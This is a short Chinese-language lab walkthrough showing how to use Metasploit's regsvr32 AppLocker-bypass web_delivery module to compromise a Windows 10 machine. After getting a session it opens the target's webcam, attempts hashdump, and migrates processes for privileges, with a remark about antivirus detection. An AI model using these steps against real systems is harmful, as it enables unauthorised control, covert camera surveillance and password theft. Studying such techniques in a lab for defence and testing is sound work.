msf_web_delivery模块漏洞（win7以上注册表）

目标机：win10  
ip：192.168.1.8

攻击机：kali Linux   
ip：192.168.1.63

一：直接打开metasploit，也可在终端直接输入msfconsole

msf的用法：

 查找web_delivery模块: search web_delivery



使用web_delivery模块:use exploit/windows/misc/regsvr32_applocker_bypass_server



查看端口及参数设置



设置本机ip：set LHOST ip；然后运行：exploit



在目标机上运行本机生成的 注册表语句如下图（这里可能会被360杀掉）



可以在攻击上看到传回来了session

输入sessions -i 2 即可控制目标机



打开摄像头



打来结果



用hashdump抓取密码：发现没有权限



可以通过msf迁移进程来提升权限

ps查看进程，migrate迁移进程



在与目标建立会话时有时后会出现no session；这里可能是msf的模块有问题，可以使用

reload_all来重新装模块，

也可能是软件版本太低，可以用msfupdate直接更新软件。